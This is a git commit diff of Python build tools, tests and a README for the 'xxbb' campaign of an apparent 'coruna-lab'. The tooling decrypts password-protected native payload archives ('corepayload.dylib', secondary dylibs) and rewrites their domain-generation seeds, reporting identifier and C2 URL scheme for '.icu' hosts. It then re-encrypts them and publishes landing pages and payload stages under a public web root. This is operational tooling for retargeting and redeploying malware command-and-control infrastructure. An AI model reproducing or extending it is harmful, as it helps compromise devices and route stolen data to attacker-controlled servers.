feat: xxbb

This commit is contained in:
hashbro
2026-08-13 07:08:02 +08:00
parent c6e386e069
commit dbe6358a3c
11 changed files with 311 additions and 159 deletions
+22 -17
View File
@@ -1,11 +1,18 @@
# channel-builder-new
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
(lab `web/` + `sync/` layout). New-type channels are distinguished by
`/source/{channel_name}/index.html`.
(lab `web/` + `sync/` layout).
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
Applies **shared** artifacts:
- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`)
- `/details/` (`show.html` + patched `corepayload.js` + plugins)
This pass patches:
1. **weifile secondary type-0x01** — DGA seeds + reporting field `c`
2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites
`show.html` core `sha256` / `size`
```bash
cd channel-builder-new
@@ -13,29 +20,27 @@ python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python tools/build.py \
--channel-name <8-32-alnum> \
--channel-c <32-hex> \
--apply --force
```
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
shared `{artifact-root}/details/` (default `../public`).
Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default
`../public`).
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
First generate writes one random seed and copies it to both deployment and
reporting (same as `channel-builder`). CLI pair must also match. The first 5
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
the create result (`domains.deployment` / `domains.reporting`).
reporting (same as `channel-builder`). CLI pair must also match. Domain list is
`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings).
| Flag | What it replaces | Where |
|------|------------------|--------|
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) |
| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) |
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
(one nibble off `c`). Details modules still decrypt with that password.
(one nibble off original `c`). Details modules still decrypt with that password.
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
`c` still comes from core until a later details pass.
`index.js` iptj URL / `channelCode` are not patched here.
+1
View File
@@ -1 +1,2 @@
pycryptodome>=3.19
py7zr>=0.21
@@ -0,0 +1,74 @@
"""Decrypt/encrypt xxbb details 7zAES wires (show.html / *.js)."""
from __future__ import annotations
import shutil
import subprocess
import tempfile
from pathlib import Path
try:
import py7zr
except ImportError as exc: # pragma: no cover
raise SystemExit("py7zr required: pip install py7zr") from exc
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
# Matches original corepayload.js wire size closely (~521913).
_7Z_PACK_FILTER = "LZMA2"
def _find_7z() -> str:
for name in ("7z", "7za"):
path = shutil.which(name)
if path:
return path
raise SystemExit(
"7z required to pack xxbb details archives. Install p7zip / 7-Zip."
)
def extract_member(archive: bytes, *, password: str = SEVEN_ZIP_PASSWORD) -> tuple[str, bytes]:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
arc = root / "in.7z"
arc.write_bytes(archive)
with py7zr.SevenZipFile(arc, mode="r", password=password) as handle:
names = handle.getnames()
if len(names) != 1:
raise SystemExit(f"expected one archive member, got {names!r}")
handle.extractall(path=root)
member = names[0]
data = (root / member).read_bytes()
return Path(member).name, data
def make_passworded_7z(
member_name: str,
payload: bytes,
*,
password: str = SEVEN_ZIP_PASSWORD,
) -> bytes:
arc_name = Path(member_name).name
seven = _find_7z()
with tempfile.TemporaryDirectory() as tmp:
archive = Path(tmp) / "out.7z"
cmd = [
seven,
"a",
"-t7z",
f"-m0={_7Z_PACK_FILTER}",
"-mhe=on",
f"-p{password}",
f"-si{arc_name}",
"-y",
"-bso0",
"-bsp0",
str(archive),
]
proc = subprocess.run(cmd, input=payload, capture_output=True)
if proc.returncode != 0 or not archive.is_file():
detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip()
raise RuntimeError(
f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}"
)
return archive.read_bytes()
+110 -31
View File
@@ -1,9 +1,9 @@
#!/usr/bin/env python3
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
Per-channel landing:
{artifact-root}/source/{channel_name}/index.html
Shared details stay at {artifact-root}/details/.
Artifact layout (shared, not per-channel folders):
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
@@ -22,6 +22,7 @@ import shutil
from datetime import datetime, timezone
from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from reproduce_xxbb_dga import generate_domains
@@ -37,8 +38,14 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
CHANNEL_ROOT = "source"
LANDING_NAME = "index.html"
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
SHOW_MEMBER_NAME = "data.bin"
CORE_C_EXPECT = 6
DGA_COUNT = 5
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
@@ -231,6 +238,73 @@ def patch_dylib(
return bytes(buf)
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
buf = bytearray(data)
replace_slot(
buf,
ORIGINAL_C.encode("ascii"),
pack_ascii32("--channel-c", channel_c),
label=label,
expect=CORE_C_EXPECT,
)
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
if channel_c.encode("ascii") not in buf:
raise SystemExit(f"{label}: patched channel_c missing")
return bytes(buf)
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
doc = json.loads(config_bytes.decode("utf-8"))
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
raise SystemExit("show data.bin: missing core object")
core = doc["core"]
core["sha256"] = core_sha256
core["size"] = core_size
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
def build_details(
*,
channel_c: str,
out_dir: Path,
) -> dict:
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
if not src_core.is_file() or not src_show.is_file():
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
member, core_plain = extract_member(src_core.read_bytes())
if member != CORE_MEMBER_NAME:
raise SystemExit(f"unexpected core member name: {member!r}")
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
core_digest = sha256_hex(patched_core)
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
show_member, show_plain = extract_member(src_show.read_bytes())
if show_member != SHOW_MEMBER_NAME:
raise SystemExit(f"unexpected show member name: {show_member!r}")
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
wires = out_dir / "details_wires"
wires.mkdir(parents=True, exist_ok=True)
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
return {
"core_sha256": core_digest,
"core_size": len(patched_core),
"core_wire_size": len(core_wire),
"show_wire_size": len(show_wire),
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
}
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
@@ -397,7 +471,7 @@ def default_state_root() -> Path:
def main() -> int:
parser = argparse.ArgumentParser(
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
@@ -407,13 +481,13 @@ def main() -> int:
)
parser.add_argument(
"--channel-name",
help="per-channel folder + html name; required with --apply",
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain {channel_name}/ and details/",
help="directory that will contain weifile/ and details/",
)
parser.add_argument(
"--state-root",
@@ -429,12 +503,12 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
help="write shared {artifact}/weifile/ and {artifact}/details/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace an existing {channel_name}/ directory",
help="replace existing weifile/ and details/ (default with --apply)",
)
parser.add_argument(
"--scheme",
@@ -453,11 +527,9 @@ def main() -> int:
cli_c=args.channel_c,
)
channel_name = ""
# Optional legacy flag; shared layout no longer uses per-channel folders.
if args.channel_name:
channel_name = validate_channel_name(args.channel_name)
elif args.apply:
raise SystemExit("--channel-name is required with --apply")
validate_channel_name(args.channel_name)
meta = load_keys()
stems = meta["stems"]
@@ -499,33 +571,38 @@ def main() -> int:
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
print(f" wrote {dest.name} ({len(wire)} bytes)")
details_meta = build_details(channel_c=channel_c, out_dir=out)
print(
f"corepayload: patched c hits={details_meta['core_c_hits']} "
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = ""
details_path = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_channel = artifact / CHANNEL_ROOT / channel_name
dest_details = artifact / "details"
if dest_channel.exists() and not args.force:
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
dest_weifile = artifact / WEIFILE_ROOT
dest_details = artifact / DETAILS_ROOT
# Shared trees are always replaced on --apply.
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_channel)
landing = dest_channel / LANDING_NAME
src_html = dest_channel / "weifile.html"
if not src_html.is_file():
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
shutil.copy2(src_html, landing)
copy_tree(SOURCE_WEIFILE, dest_weifile)
if not (dest_weifile / LANDING_NAME).is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = dest_channel / src.name
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
details_path = "/details/"
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
details_path = f"/{DETAILS_ROOT}/"
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
@@ -537,12 +614,12 @@ def main() -> int:
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": channel_name or None,
"channel_name": None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"details_path": details_path or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": False,
"sync_rebuilt": bool(args.apply),
"domains": domains,
"seeds": {
"deployment_seed": dep,
@@ -552,9 +629,11 @@ def main() -> int:
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"scheme": args.scheme,
"notes": [
"details/core not patched; native /event c still original until a later pass",
"secondary + corepayload c patched; domains follow channel_c DGA",
"shared artifact paths: /weifile/weifile.html and /details/",
"index.js iptj URL / channelCode not patched",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
+16 -19
View File
@@ -1,12 +1,14 @@
#!/usr/bin/env python3
"""Delete one channel's {channel_name}/ tree; leave shared details/ and lab_seeds.json intact."""
"""No-op delete for shared /weifile + /details layout.
New-builder assets are deployment-wide. Removing one DB channel must not wipe
shared weifile/details used by the active campaign.
"""
from __future__ import annotations
import argparse
import json
import shutil
import sys
from pathlib import Path
import build as xxbb_build
@@ -15,8 +17,10 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
def main() -> int:
parser = argparse.ArgumentParser(description="Remove {channel_name}/ from artifact root")
parser.add_argument("--channel-name", required=True)
parser = argparse.ArgumentParser(
description="Shared weifile/details are not deleted per channel (noop)."
)
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
parser.add_argument(
"--artifact-root",
type=Path,
@@ -24,24 +28,17 @@ def main() -> int:
help="shared artifact root (default: coruna-lab/public)",
)
args = parser.parse_args()
channel_name = xxbb_build.validate_channel_name(args.channel_name)
artifact_root = args.artifact_root.resolve()
channel_dir = artifact_root / xxbb_build.CHANNEL_ROOT / channel_name
removed = False
if channel_dir.is_dir():
shutil.rmtree(channel_dir)
removed = True
print(f"removed {channel_dir}")
else:
print(f"missing {channel_dir} (noop)")
result = {
"status": "deleted" if removed else "absent",
"channel_name": channel_name,
"status": "skipped",
"reason": "shared_weifile_details",
"channel_name": (args.channel_name or "").strip().lower() or None,
"artifact_root": str(artifact_root),
"removed": removed,
"removed": False,
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
"details": str(artifact_root / xxbb_build.DETAILS_ROOT),
}
print("shared /weifile and /details left intact (noop)")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
return 0
+40 -17
View File
@@ -10,6 +10,7 @@ from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(TOOLS))
from _details_pack import extract_member # noqa: E402
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
import build as xxbb_build # noqa: E402
from reproduce_xxbb_dga import generate_domains # noqa: E402
@@ -49,12 +50,12 @@ class XxbbBuildTest(unittest.TestCase):
out = decrypt_secondary_minjs(wire, key)
self.assertEqual(out, patched[info["group"]])
def test_apply_writes_named_channel_html(self) -> None:
def test_apply_writes_shared_weifile_and_patched_details(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
artifact = Path(tmp) / "public"
state = Path(tmp) / "state"
out = Path(tmp) / "out"
name = "abcd1234"
channel_c = "33333333333333333333333333333333"
argv = [
"build.py",
"--deployment-seed",
@@ -62,9 +63,7 @@ class XxbbBuildTest(unittest.TestCase):
"--reporting-seed",
"11111111111111111111111111111111",
"--channel-c",
"33333333333333333333333333333333",
"--channel-name",
name,
channel_c,
"--artifact-root",
str(artifact),
"--state-root",
@@ -80,30 +79,46 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
channel_dir = artifact / "source" / name
weifile = artifact / "weifile"
details = artifact / "details"
self.assertTrue((channel_dir / "index.js").is_file())
self.assertTrue((channel_dir / "weifile.html").is_file())
self.assertTrue((channel_dir / "index.html").is_file())
self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file())
self.assertFalse((artifact / "source").exists())
self.assertTrue((details / "show.html").is_file())
self.assertTrue((details / "corepayload.js").is_file())
self.assertTrue((details / "helion.js").is_file())
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
blob = (channel_dir / f"{stem}.min.js").read_bytes()
blob = (weifile / f"{stem}.min.js").read_bytes()
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
dylib = decrypt_secondary_minjs(blob, key)
self.assertIn(b"11111111111111111111111111111111", dylib)
self.assertIn(b"33333333333333333333333333333333", dylib)
self.assertIn(channel_c.encode(), dylib)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
self.assertIn(b"https://%@\x00", dylib)
self.assertNotIn(b"http://%@\x00", dylib)
member, core = extract_member((details / "corepayload.js").read_bytes())
self.assertEqual(member, "corepayload.dylib")
self.assertEqual(core.count(channel_c.encode()), xxbb_build.CORE_C_EXPECT)
self.assertEqual(core.count(xxbb_build.ORIGINAL_C.encode()), 0)
show_member, show_plain = extract_member((details / "show.html").read_bytes())
self.assertEqual(show_member, "data.bin")
show = json.loads(show_plain.decode("utf-8"))
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
self.assertEqual(show["core"]["size"], len(core))
seeds = json.loads((state / "lab_seeds.json").read_text())
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333")
self.assertEqual(seeds["channel_c"], channel_c)
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
manifest = json.loads((out / "MANIFEST.json").read_text())
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
self.assertEqual(manifest["details_path"], "/details/")
def test_seeds_generated_once_then_reused(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
state = Path(tmp) / "state"
@@ -216,23 +231,31 @@ class XxbbBuildTest(unittest.TestCase):
self.assertNotIn(b"https://backup%u.icu\x00", http)
self.assertEqual(len(http), len(https))
def test_apply_requires_channel_name(self) -> None:
def test_apply_works_without_channel_name(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
artifact = Path(tmp) / "public"
state = Path(tmp) / "state"
argv = [
"build.py",
"--channel-c",
"33333333333333333333333333333333",
"--deployment-seed",
"11111111111111111111111111111111",
"--reporting-seed",
"11111111111111111111111111111111",
"--artifact-root",
tmp,
str(artifact),
"--state-root",
tmp,
str(state),
"--apply",
]
old = sys.argv
try:
sys.argv = argv
with self.assertRaises(SystemExit):
xxbb_build.main()
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
if __name__ == "__main__":